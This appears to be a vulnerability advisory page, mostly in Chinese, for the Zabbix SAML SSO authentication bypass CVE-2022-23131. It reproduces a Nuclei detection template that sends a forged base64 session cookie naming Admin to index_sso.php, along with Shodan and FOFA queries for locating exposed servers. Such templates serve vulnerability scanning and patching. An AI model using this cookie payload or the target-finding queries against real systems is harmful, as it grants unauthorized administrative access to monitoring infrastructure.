CVE-2022-23131: Zabbix - SAML SSO Authentication Bypass

日期: 2025-08-01 | 影响软件: Zabbix | POC: 已公开

漏洞描述

When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.

PoC代码[已公开]

id: CVE-2022-23131

info:
  name: Zabbix - SAML SSO Authentication Bypass
  author: For3stCo1d,spac3wh1te
  severity: critical
  description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix monitoring system.
  remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
  reference:
    - https://support.zabbix.com/browse/ZBX-20350
    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23131
    - https://github.com/1mxml/CVE-2022-23131
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23131
    cwe-id: CWE-290
    epss-score: 0.94302
    epss-percentile: 0.99937
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - app="ZABBIX-监控系统" && body="saml"
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/zabbix/index_sso.php"
      - "{{BaseURL}}/index_sso.php"

    stop-at-first-match: true

    headers:
      Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"

      - type: status
        status:
          - 302
# digest: 4b0a004830460221009c38a5f3de868f3f61836cd14a146cac71f8a542ed4cb586dc9c9573ca69cacf022100f652e99856b10177417152cb3dcdc09e700962fc6eb18521be082ea728ee22fc:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23131.yaml

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